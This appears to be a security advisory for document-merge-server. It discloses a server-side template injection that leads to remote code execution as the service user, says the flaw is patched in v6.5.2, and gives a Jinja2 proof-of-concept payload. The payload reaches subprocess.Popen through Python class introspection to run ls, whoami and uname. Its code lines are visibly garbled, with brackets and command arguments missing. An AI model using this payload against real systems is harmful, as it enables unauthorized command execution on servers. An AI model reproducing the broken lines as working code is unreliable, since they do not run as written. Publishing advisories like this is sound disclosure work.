Description
Impact
_What kind of vulnerability is it? Who is impacted?_
A remote code execution (RCE) via server-side template injection (SSTI) allows for user supplied code to be executed in the server's context where it is executed as the document-merge-server user with the UID 901 thus giving an attacker considerable control over the container.
Patches
_Has the problem been patched? What versions should users upgrade to?_
It has been patched in v6.5.2

POC
Add the following to a document, upload and render it:
```jinja2
{% if PLACEHOLDER.__class__.__mro__[1].__subclasses__()[202] %}
ls -a: {{ PLACEHOLDER.__class__.__mro__[1].__subclasses__()202.communicate()[0].strip() }}
whoami: {{ PLACEHOLDER.__class__.__mro__[1].__subclasses__()202.communicate()[0].strip() }}
uname -a:
{{ PLACEHOLDER.__class__.__mro__[1].__subclasses__()202.communicate()[0].strip() }}
{% endif %}
```
The index might be different, so to debug this first render a template with `{{ PLACEHOLDER.__class__.__mro__[1].__subclasses__() }}` and then get the index of `subprocess.Popen` and replace 202 with that.
